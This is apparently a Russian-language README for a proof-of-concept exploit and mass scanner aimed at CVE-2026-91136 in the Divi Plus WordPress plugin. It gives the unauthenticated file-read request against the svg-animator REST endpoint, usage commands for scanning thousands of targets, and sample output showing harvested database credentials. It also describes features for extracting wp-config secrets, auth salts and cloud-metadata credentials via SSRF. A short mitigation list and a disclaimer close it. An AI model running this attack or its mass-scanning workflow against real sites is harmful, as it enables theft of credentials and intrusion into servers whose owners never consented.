CVE-2026-91136 — Divi Plus ≤ 2.4.0 — PoC неаутентифицированного произвольного чтения файлов

Divi Plus (Elicus) — плагин WordPress ≤ 2.4.0 — неаутентифицированное произвольное чтение файлов через параметр svg_image REST-пространства имён elicus/v1.

📋 Обзор уязвимости

🔍 Техническое описание

SVGAnimatorController::index_permission безусловно возвращает true, поэтому эндпоинт /wp-json/elicus/v1/dipl-modules/svg-animator доступен без аутентификации. Входные данные svg_image проходят только через sanitize_text_field() и esc_html() — которые не ограничивают пути файловой системы, обёртку потока file:// или удалённые URL — прежде чем передаются в file_get_contents() (с резервным вызовом wp_remote_get()). Необработанное тело ответа возвращается в поле JSON html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Воздействие: чтение /etc/passwd, wp-config.php (учётные данные БД + соли аутентификации), облачных метаданных через SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env и любого другого файла, доступного для чтения веб-пользователю.

🚀 Использование

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 Вывод

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• живой однострочный индикатор прогресса: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — только подтверждённые уязвимые цели

⚙️ Возможности

• Фингерпринтинг: ответ эндпоинта svg-animator + версия через ассеты divi-plus ?ver=
• Определение версии: уязвимая ветка возвращает тела файлов; исправленная/WAF возвращает 403/пусто
• Обнаружение wp-config.php: фиксированные кандидаты + реальные каталоги /home/<user>/, извлечённые из /etc/passwd
• SSRF-пробы: эндпоинты метаданных AWS / GCP / Azure / DigitalOcean / OCI
• Извлечение добычи: учётные данные БД + соли аутентификации WordPress, с прямыми переиспользуемыми ссылками для каждой находки
• Массовый режим: пул потоков, дедупликация, живой подсчёт ✓/✗, экспорт JSONL + hits

📁 Структура файлов

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Отказ от ответственности

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Меры защиты

1. Обновите Divi Plus до версии 2.4.1 (или более поздней)
2. Смените все учётные данные, скомпрометированные в результате чтения файлов
3. Заблокируйте GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator на WAF
4. Отслеживайте в журналах значения svg_image, содержащие file://, /etc/ или IP-адреса метаданных